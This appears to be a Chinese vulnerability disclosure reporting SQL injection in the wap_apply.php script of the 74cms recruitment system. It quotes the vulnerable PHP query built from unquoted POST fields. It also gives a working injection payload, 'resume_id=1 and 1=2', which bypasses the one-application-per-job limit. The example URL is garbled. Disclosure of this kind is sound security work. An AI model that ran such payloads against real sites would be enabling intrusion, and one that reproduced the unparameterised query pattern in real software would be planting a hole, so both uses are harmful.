### 简要描述：
骑士人才系统sql注射 无限制申请同一份简历
### 详细说明：
代码：
wap_apply.php:
```
$_POST=array_map("utf8_to_gbk", $_POST);
$sql="select * from ".table("personal_jobs_apply")." where resume_id=$_POST[resume_id] and jobs_id=$_POST[jobs_id]";
$row=$db->getone($sql);
if($_SESSION['utype']!=2){
exit("个人会员请登录后申请职位");
}
elseif($row){
exit("您已经申请过此职位！");
}
else{
$setsqlarr["jobs_id"]=$_POST["jobs_id"];
$setsqlarr["jobs_name"]=$_POST["jobs_name"];
$setsqlarr["company_id"]=$_POST["company_id"];
$setsqlarr["company_name"]=$_POST["company_name"];
$setsqlarr["company_uid"]=$_POST["company_uid"];
$setsqlarr["resume_id"]=$_POST["resume_id"];
$setsqlarr["resume_name"]=$_POST["resume_title"];
$setsqlarr["personal_uid"]=$_SESSION["uid"];
$setsqlarr["apply_addtime"]=time();
inserttable(table('personal_jobs_apply'),$setsqlarr)?exit("ok"):exit("err");
}
```
看见这一个sql语句了没有
```
$sql="select * from ".table("personal_jobs_apply")." where resume_id=$_POST[resume_id] and jobs_id=$_POST[jobs_id]";
```
没有进行引号处理，但是骑士cms对于全局过滤做的还是想当不错，有一个问题
每个人对同一份职位只能申请一次，那么我们可以绕过此限制，对同一份职位进行无限制申请
url:
http://localhost/74cmshttps://images.seebug.org/upload/wap/personal/wap_apply.php?act=apply_add
postdata:
resume_id=1 and 1=2&jobs_id=1
抓到sql语句为：
select * from qs_personal_jobs_apply where resume_id=1 and 1=2 and jobs_id=1
### 漏洞证明：
京公网安备 11010502034610号
暂无评论